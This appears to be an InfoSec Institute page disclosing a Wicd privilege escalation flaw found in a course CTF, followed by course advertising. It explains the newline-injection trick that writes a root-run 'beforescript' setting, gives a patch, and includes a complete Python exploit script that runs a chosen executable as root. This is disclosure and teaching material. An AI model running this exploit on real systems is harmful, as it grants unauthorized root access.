wicd Privilege Escalation 0Day
Tested against Backtrack 5, 5 R2, Arch distrubutions


 

Spawns a root shell. Has not been tested for potential remote exploitation vectors.
Discovered by a student that wishes to remain anonymous in the InfoSec Institute Ethical Hacking course CTF.

If you want to skip down to the ethical hacking course content information, click here.

 


 

Note: This 0day exploit for Wicd was discovered by a student in the InfoSec Institute Ethical Hacking class, during an evening CTF exercise. The student wishes to remain anonymous, he has contributed a python version of the 0day, a patch that can be applied to wicd, as well as a writeup detailing the discovery and exploitation process. You can find a python version of the exploit to copy and paste here

Within the current ( as of this writing) version of the "Wicd" (( pronounced wicked) stands for Wireless
Interface Connection Daemon.) software, which can be found at: http://wicd.sourceforge.net/ there exist several design flaws culminating in privilege escalation exploit. I found this last week during the evening CTF exercise in ethical hacking class [ed. note: CTF = capture the flag exercises, hands-on hacking games we run in the evening portion of the course].  Improper sanitization of the inputs in the
WICD's DBUS interfaces allows an attacker to (semi)arbitrarily write configuration options in WICD's 'wireless-settings.conf' file, including but not limited to defining scripts (executables actually) to execute upon various internal events (for instance upon connecting to a wireless network). These scripts execute as the root user, this leads to arbitrary code/command execution by an attacker with access to the WICD DBUS interface as the root user.

Lets investigate:

Take a look at this function ( Line 1064 of wicd-daemon.py (in version 1.7.1)):

   def SetWirelessProperty(self, netid, prop, value):
       """ Sets property to value in network specified. """
       # We don't write script settings here.
       if (prop.strip()).endswith("script"):
           print "Setting script properties through the daemon is not" \
                 + " permitted."
           return False
       self.LastScan[netid][prop] =
misc.to_unicode(misc.Noneify(value))



Notice that the wireless property name ( The variable 'prop', above), is spuriously sanitized, in that the string passed is only stripped of preceeding and trailing whitespace, and is checked to make sure that the property name (our string) does not end in 'script' (The "if (prop.strip()).endswith("script"):" line) before continuing.
The reason the author checks that the property name does not end in 'script', is to "ensure" that the dbus client cannot set properties such as 'beforescript', 'afterscript', 'predisconnectscript', and etc. This is done because said properties indicate to the WICD daemon the location of certain executables to run at certain points during the life of a given connection, for example, 'beforescript = /path/to/executable' in the configuration file indicates that the refferenced executable should be run before connecting to the given connection, and because the WICD Daemon runs as root, while a given WICD DBUS client does not. It should also be noted that the configuration files for WICD are for all intents and purposes writeable only by root, preventing an attacker from simply overwriting said files.

 

This tells us two things.  One, that we can write any variable not ending in script to the file.  Two, that script variables could in fact be written. At the very least, the newline and = character should be sanitized from the string.  A better option would be to create a hash dictionary with a whitelisted set of options writeable by the API.

But what if an attacker thought to do something like this:

   wireless.SetWirelessProperty(0, "beforescript =
/path/to/executable\nrooted", "true")

Note the newline, and it's trailing characters (this will be explained). This property name ( as can be seen) has no preceeding, or trailing whitespace, and does not end in 'script'. In fact, it is a perfectly valid property name in this context. However there is more to be done, the above function merely sets the name and value of a property internally to wicd, it does not write to a file, and since a property of name 'beforescript = /path/to/executable\nrooted' with the value 'true' is not a property of name 'beforescript' with a value of '/path/to/executable' merely attempting to connect to the given network will not cause our executable to execute.

Now, take a look at this function ( Line 1225 of the same file ):

   @dbus.service.method('org.wicd.daemon.wireless')
   def SaveWirelessNetworkProperty(self, id, option):
       """ Writes a particular wireless property to disk. """
       if (option.strip()).endswith("script"):
           print 'You cannot save script information to disk through ' + \
                 'the daemon.'
           return
       config = self.config
       cur_network = self.LastScan[id]
       essid_key = "essid:" + cur_network["essid"]

       config.set(cur_network["bssid"], option,
str(cur_network[option]))

       # Write the global section as well, if required.
       if config.get(essid_key, 'use_settings_globally'):
           config.set(essid_key, option, str(cur_network[option]))
       config.write()

 

Notice again that the option parameter ( our property name here) is spuriously sanitized in the exact same way as above. In an ideal world this would not matter here because our property name only identifies a property name/value pair in WICD's internal dictionary describing the given connections properties.

Consider the following:

   wireless.SaveWirelessNetworkProperty(0, "beforescript =
/path/to/executable\nrooted")

As we have demonstrated above said internal dictionary is unsafe it's self, It can contain arbitrary names not beginning with whitespace, and not ending with whitespace, or 'script'. Because this dictionary is unsafe, and because we can again refference here our (valid) property name of 'beforescript = /path/to/executable\nrooted' we see that we can write such a name/value pair to the disk.

But what about that newline ('\n') and friends in our property name?

This it's self is the offensive part.  When our property is written out to the disk, the newline is kept. This will yeild a section in WICD's 'wireless-settings.conf' file that looks something like:

   beforescript = /path/to/executable
   rooted = True

Here we see that our property name indeed has been made to span two lines in the file, equating to two property/value pairs. Since WICD does not recognize a property named "rooted" it happily glances over that line, ignoring it. More importantly, We've managed to write an arbitrary 'beforescript' property to disk, through the WICD Daemon, despite it's authors assertion that:

   "Setting script properties through the daemon is not permitted."

Fom here we simply need to ask WICD to reload it's config with something along the lines of:

   wireless.ReloadConfig()

Next, we refresh WICD's internal list of networks, and their current properties with:
 
     wireless.Scan()

Then we will find the network who's 'beforescript' property we have set with:
 
       wireless.GetWirelessProperty()

Finally we will attempt connecting ( sucess not required) to our newly-rediscovered network with it's 'beforescript' property directed at our executable, with the fucntion:

       wireless.ConnectWireless()

With this, assuming that the WICD users computer is properly configured in so far that it can find wireless networks that are in range, and that there are in fact wireless networks in range, our executable should have executed as the root user via the WICD daemons beforescript feature, causing whatever havoc and death it desires to the local system. We can verify this exploit using the included python script, and by running the WICD in the foreground as such:

   # wicd -f -o -e -a


You should be looking for a pair of lines in it's output simular to these to verify execution:


   Executing pre-connection script
   Expanded '/path/to/executable' to '/path/to/executable'

 

 

****************************

 

THE PATCH:

 


- --- _wicd-daemon.py   2012-04-09 16:31:19.000000000 -0400
+++ wicd-daemon.py      2012-02-02 11:38:26.000000000 -0500
@@ -945,30 +945,6 @@
        self._scanning = False
        self.LastScan = []
        self.config = ConfigManager(wireless_conf, debug=debug)
- -
- -        #Using a dict to avoid repitition.
- -        self._validProperties = {
- -            'bssid':None,
- -            "essid":None,
- -            "hidden":None,
- -            "channel":None,
- -            "mode":None,
- -            "enctype":None,
- -            "encryption_method":None,
- -            "key":None,
- -            "automatic":None,
- -            "ip":None,
- -            "netmask":None,
- -            "broadcast":None,
- -            "gateway":None,
- -            "use_static_dns":None,
- -            "use_global_dns":None,
- -            "dns1":None,
- -            "dns2":None,
- -            "dns3":None,
- -            "use_settings_globally":None,
- -            "has_profile":None
- -}

    def get_debug_mode(self):
        return self._debug_mode
@@ -1088,7 +1064,7 @@
    def SetWirelessProperty(self, netid, prop, value):
        """ Sets property to value in network specified. """
        # We don't write script settings here.
- -        if (prop.strip() not in self._validProperties):
+        if (prop.strip()).endswith("script"):
            print "Setting script properties through the daemon is not" \
                  + " permitted."
            return False

 

 

THE PYTHON EXPLOIT:

 

  #!/usr/bin/python
#wicd 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt

try: from wicd import dbusmanager
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)

class Error(Exception):
	def __init__(self, error):
		self.errorStr=error
	
	def __str__(self):
		return repr(self.errorStr)
	

class Wicd():
	wireless=None
	daemon=None
	versionString=None
	def __init__(self):
		try: 
			dbusmanager.connect_to_dbus()
			dbusInterfaces	= dbusmanager.get_dbus_ifaces()
			self.wireless		= dbusInterfaces["wireless"]
			self.daemon		= dbusInterfaces["daemon"]
		except: 
			raise Error("Daemon is not running")
		self.versionString = self.daemon.Hello()
	
	def versionLessThan(self, version):
		if int(self.versionString.replace(".",""))<=version:
			return True
		else:
			return False
	

class Exploit():
	
	def __init__(self, wicd, scriptPath):
		self.wicd = wicd
		self.scriptPath = scriptPath
	
	def getNets(self):
		self.wicd.wireless.Scan(True)
		nets = self.wicd.wireless.GetNumberOfNetworks()
		while nets < 1:
			self.wicd.wireless.Scan(True)
			nets = self.wicd.wireless.GetNumberOfNetworks()
		for net in range(nets):
			yield net
	
	def exploit(self):
		
		for net in self.getNets(): pass # Priming scan.
		
		try:
			self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")
		except:
			raise Error("Unable to exploit (SetWirelessProperty() failed.)")
		
		try:
			self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")
		except:
			raise Error("Unable to exploit (SetWirelessProperty() failed.)")
		
		propertyKey	= 'bssid' # Could be essid, or any other identifiable wireless property
		vulnIdentifier	= self.wicd.wireless.GetWirelessProperty(0, propertyKey) 
		
		# TODO: Does this need a try construct?
		self.wicd.wireless.ReloadConfig()
		
		for net in self.getNets(): # Implicit, but required re-scan.
			if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:
				self.wicd.wireless.ConnectWireless(net)
				return True
		raise Error("Unable to exploit (Lost the network we were using)")
	

def usage():
	print "[!] Usage:"
	print "	( -h, --help ):"
	print "		Print this message."
	print "	( --scriptPath= ): Required, executable to run as root."
	print "		--scriptPath=/some/path/to/executable.sh"

def main():
	print "[$] WICD =< 1.7.0Day"
	try:
		opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])
	except getopt.GetoptError, err:
		# Print help information and exit:
		print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
		usage()
		sys.exit(0)
	
	scriptPath=None
	
	for opt, arg in opts:
		if opt in ("-h", "--help"):
			usage()
			sys.exit(0)
		elif opt =="--scriptPath":
			scriptPath=arg
		else:
			# I would be assuming to say we'll never get here.
			print "[!] Parameter error."
			usage()
			sys.exit(0)
	
	if not scriptPath:
		print "[!] Parameter error: scriptPath not set."
		usage()
		sys.exit(0)
	
	try:
		wicd = Wicd()
	except Error as error:
		print "[!] WICD Error: %s" % (error.errorStr)
		exit(0)
	print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)
	
	if not wicd.versionLessThan(171): 
		print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."
	
	exploit = Exploit(wicd, scriptPath)
	
	print "[*] Attempting to exploit:"
	
	try:
		exploit.exploit()
	except Error as error:
		print "[!] Exploit Error: %s" % (error.errorStr)
		exit(0)
	print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
	main()

  
  

Ethical Hacking Boot Camp
(CEH v7)

SEC-200

Our most popular information security and hacking training goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises

Ethical Hacking Course Overview


COURSE LENGTH:
5-DAY
CERTIFICATIONS:
CEH


Our most popular information security and hacking training goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to hacking in this network security training course.

The goal of this course is to help you master a repeatable, documentable penetration testing methodology that can be used in an ethical penetration testing or hacking situation.

The most current, up-to-date Ethical Hacking training available anywhere!

Black Hat hackers are always changing their tactics to get one step ahead of the good guys. InfoSec Institute updates our course materials regularly to ensure that you learn about the most current threats to your organization's networks and systems.

Learn from Experts in the field of Information Security:

We don't just have great instructors, our instructors have years of industry experience and are recognized as experts. InfoSec Institute instructors have authored two of the top Network Security and Ethical Hacking books

  • Over 90% Pass Rate - Now CEHv7
  • On-site exam proctoring
  • Over $3000 in tools & software(details)
"I was blown away by the instructor's knowledge and expertise. ... Would recommend to anyone thinking about being a pen tester"

Connie Brown

United States Air Force

What You'll LEARN

Run hacking attacks in our classroom labs, be a hacker for a week:
Some of the hacking concepts you will learn to master during this hands on hacking course...

  • Penetration testing methodologies
  • Stealthy network recon
  • Passive traffic identification
  • Remote root vulnerability exploitation
  • Privilege escalation hacking
  • IPv6 Vulnerabilities
  • Remote access trojan hacking
  • Running shellcode in RAM vs. on disk
  • Wireless insecurity
  • Breaking IP-based ACLs via spoofing
  • Abusing Windows Named Pipes for Domain Impersonation
  • Evidence removal and anti-forensics
  • Attacking network infrastructure devices
  • Hacking by brute forcing remotely
  • Hiding exploit payloads in jpeg and gif image files
  • Hacking Web Applications
  • Breaking into databases with SQL Injection
  • Cross Site Scripting hacking
  • Hacking into Cisco routers
  • Justifying a penetration test to management & customers
  • CEH/CPT review
  • Defensive techniques

What You'll DO

Some of the instructor-led hands-on hacking lab exercises in this security training experience:

  • Capture the Flag hacking exercises every night !
  • Abusing DNS for host identification
  • Leaking system information from Unix and Windows
  • Windows 2003 Server & Vista DNS Cache Poisoning Attacks
  • Unix, Windows and Cisco password cracking
  • Remote buffer overflow exploit lab - heap vs. stack overflows
  • Attacking Kerberos Pre-Auth Hashes
  • Spoofing endpoints of communication tunnels
  • Impersonation of other Users- Hijacking kernel tokens
  • Attacking RDP (Remote Desktop Protocol) in Windows XP, 2003 & Vista
  • Remote keylogging
  • Data mining authentication information from clear-text protocols
  • Sniffing and hijacking SSL encrypted sessions
  • Breaking wireless security via hacking
  • Malicious event log editing
  • Client side IE & Firefox exploits
  • Tunneling through IPSec VPNs by abusing ESP
  • Data retrieval with SQL Injection Hacking
  • Calculating the Return on Investment (ROI) for an ethical hack


Dates & Locations

Dates Location Reserve a Seat!
Any Date! Any Location! Hacker Training Online - More Details Here
-San Diego, CA Reserve a Seat
-Dulles, VA Reserve a Seat
-Live Online, Reserve a Seat
11/03/14-11/07/14Chicago, IL Reserve a Seat
11/17/14-11/21/14Baltimore, MD Reserve a Seat
11/17/14-11/21/14Dallas, TX Reserve a Seat
12/01/14-12/05/14Colorado Springs, CO Reserve a Seat
12/08/14-12/12/14Live Online, Reserve a Seat
12/08/14-12/12/14San Francisco, CA Reserve a Seat
12/08/14-12/12/14Dulles, VA Reserve a Seat
12/14/14-12/18/14Abu Dhabi, UAE Reserve a Seat
12/15/14-12/19/14Orlando, FL Reserve a Seat
01/12/15-01/16/15Live Online, Reserve a Seat
01/12/15-01/16/15Dulles, VA Reserve a Seat
02/02/15-02/06/15Dulles, VA Reserve a Seat
02/02/15-02/06/15Live Online, Reserve a Seat
02/23/15-02/27/15Baltimore, MD Reserve a Seat
03/09/15-03/13/15Live Online, Reserve a Seat
03/09/15-03/13/15Dulles, VA Reserve a Seat
03/16/15-03/20/15Dallas, TX Reserve a Seat
04/06/15-04/10/15Colorado Springs, CO Reserve a Seat
04/13/15-04/17/15Atlanta, GA Reserve a Seat
04/20/15-04/24/15Dulles, VA Reserve a Seat
04/20/15-04/24/15Live Online, Reserve a Seat
05/04/15-05/08/15Chicago, IL Reserve a Seat
05/11/15-05/15/15San Diego, CA Reserve a Seat
05/18/15-05/22/15Live Online, Reserve a Seat
05/18/15-05/22/18Dulles, VA Reserve a Seat
06/22/15-06/26/15Live Online, Reserve a Seat
06/22/15-06/26/15Dulles, VA Reserve a Seat
07/13/15-07/17/15Dallas, TX Reserve a Seat
07/20/15-07/24/15Dulles, VA Reserve a Seat
07/20/15-07/24/15Live Online, Reserve a Seat
08/03/15-08/07/15Colorado Springs, CO Reserve a Seat
08/24/15-08/28/15Live Online, Reserve a Seat
08/24/15-08/28/15Dulles, VA Reserve a Seat
09/14/15-09/18/15Baltimore, MD Reserve a Seat
09/21/15-09/25/15Dulles, VA Reserve a Seat
09/21/15-09/25/15Live Online, Reserve a Seat
10/05/15-10/09/15Atlanta, GA Reserve a Seat
10/19/15-10/23/15Live Online, Reserve a Seat
10/19/15-10/23/15Dulles, VA Reserve a Seat
11/02/15-11/06/15San Diego, CA Reserve a Seat
11/02/15-11/06/15Live Online, Reserve a Seat
11/02/15-11/06/15Dulles, VA Reserve a Seat
11/16/15-11/20/15Dallas, TX Reserve a Seat
11/30/15-12/04/15Dulles, VA Reserve a Seat
11/30/15-12/04/15Live Online, Reserve a Seat
12/07/15-12/11/15Colorado Springs, CO Reserve a Seat
Any Date Your Office!
Get Information for On-Site Training

See what our students are saying

More testimonials for Ethical Hacking here

  • David P. Curly

    Senior Consultant

    Booz Allen Hamilton

    "a must for any true
    security professional"

    "This was a phenomenal class! The instructor was extremely knowledgeable and crafted the exercises so that we truly learned the material. I have a whole new appreciation for how vulnerabilities are exploited. I have gained very practical skills and knowledge in this class which will help me tremendously in my job. I will highly recommend this course to all of my co-workers. This class should be a must for any true security professional. There were several moments during the week when I was amazed at how vulnerable systems truly are. The practical labs and competition teams made the experience fun. I have learned some extremely valuable skills."


    Find out more
  • Aaron Bento

    IBM Global Services

    "hands-on experience was invaluable"

    "The class was great! The instructor knew his his information very well. It was nice to have someone who is more than just book knowledge, someone who is just giving you the info for the cert test. His hands on experience in real world pen-testing was invaluable, as it gave a touch-stone to how the methods learned in class can be extended to real pen-testing."


    Find out more
  • "nice to have a dedicated training laptop provided"

    "I got a lot out of the real world scenarios presented in class. Jeremy is very knowledgeable in the field of penetration testing. Would definitely take classes again if he is the instructor. The course books are a great reference, and it was nice to have a dedicated training laptop provided by Infosec and not have to bring my own and waste time installing programs during class"


    Find out more
  • Rummy Dabgotra

    MTS Allstream

    "invaluable to my career"

    "Dan is an excellent instructor and incredibly knowledgeable. Great presenter and very helpful. The course was very intense but well structured. The hours were long but it really allows you to get your head wrapped around it. Slide notes were very good as well as the lab pre-info. The labs tied well into the course. The content and knowledge gained will be invaluable to my career."


    Find out more

Certifications & Compliance

Certified Ethical Hacker (CEH v7)

In any hands on hacking training course, it is important to have the opportunity to prove to current or potential employers that you have the skills you say you do. This course prepares you for the two hacking certification in the industry, the CEH. The exam is given on-site and we have achieved a 93% pass rate.

We make sure you are fully prepared to pass the CEH v7. InfoSec Institute goes way beyond the material covered in the CEH to give you a more well-rounded exposure to hacking and penetration testing.


Pricing for Ethical Hacking - including the CEH v7

Instant Pricing

Call (866)-471-0059 or fill out this short form for current pricing

YOU ALSO GET

  • $3000 worth of tools
    and software!

    InfoSec's Custom Hacking Tools Enterprise Suite, includes every program covered in the course for at home study. (558 Tools). Regular Price: Hacking Tools Enterprise Suite available for individual purchase for only $1,499!

    Full license for Immunity CANVAS (Normally sells for $1450, included in most price quotes)

    Core Impact SEL License

  • Course Materials, Test Fees and Class Guarantees!

    Small class sizes (usually 10-20 Students), you get an intimate learning setting not offered by any of our competitors.

    5 Full Days of Boot camp style training --- our instructors teach from 8am to 10:30pm every day. Course runs from 8am to 5pm daily with optional ethical capture the flag hacking exercises to 10:30pm.

    All meals, snacks and refreshments included. Snacks not included in Las Vegas courses.

    Certified Ethical Hacker exam fees.

    Lecture, Lab Exercise and Text book --- Train your ethical friends and co-workers hacking!

  • Continued Access to
    the Course ONLINE

    Total Access to Live Recorded Ethical Hacking Lectures:

    InfoSec Institute's Ethical Hacking class is structured for maximum retention of knowledge learned in class. Because we believe in a commitment to your ongoing education after you attend a hands-on Ethical Hacking class, InfoSec Institute makes available for every student access to all of the Live Recorded lectures you attended in-class. These are available in online format for 30 days after the training session!

Other Related Tools & Resources For Our Students

Be sure to check out our R&D site. We post tutorials, labs, white papers and articles to help you in your continued ethical hacking training. There are frequently forensics videos available. If you haven't taken a course with us yet, check out some of the types of thigns you'll be doing and learning about in class.

  • Troll Challenge
  • 09/29/2014

    Just found an interesting vulnerable machine named Troll. It sounds like the machine will troll the attacker. We booted up the machine in Virtual Box and fired an Nmap scan on it. The scan result: was of three ports FTP, SSH, and HTTP. We did a script-based Nmap scan by [...]

    The post Troll Challenge appeared first on InfoSec Institute.

  • Website Hacking 101, Part III
  • 09/26/2014

    To view Part I of the article series, please open: http://resources.infosecinstitute.com/website-hacking-101/ To view Part II of the article series, please open: http://resources.infosecinstitute.com/website-hacking-101-part-ii/ Introduction In this part of the Website Hacking 101 series, we are going to discuss controlling access to directories (if access is not controlled by key directories like [...]

    The post Website Hacking 101, Part III appeared first on InfoSec Institute.

  • Hacking traffic light systems
  • 09/02/2014

    Traffic light systems security issues We often see movie scenes in which hackers are able to hack systems for the control of traffic lights, with catastrophic consequences, unfortunately we must be conscious that threat actors are really able these complex infrestructures causing serious problems. Traffic lights were originally designed as [...]

    The post Hacking traffic light systems appeared first on InfoSec Institute.

  • Website Hacking 101: Part II
  • 08/28/2014

    Introduction To view Part I of this article, please visit http://resources.infosecinstitute.com/website-hacking-101/. In this Part, we are going to briefly introduce Path Traversal, usage of Delimiters, and Information Disclosure attack. We are going to present simple solutions to simplified problems involving the attacks. Content Exercise 8: Path Traversal Figure : A [...]

    The post Website Hacking 101: Part II appeared first on InfoSec Institute.

OUR STUDENTS SAY:
InfoSec Institute has an excellent instructor and this is the best IT security class I have ever taken. His knowledge and method of teaching are unsurpassed.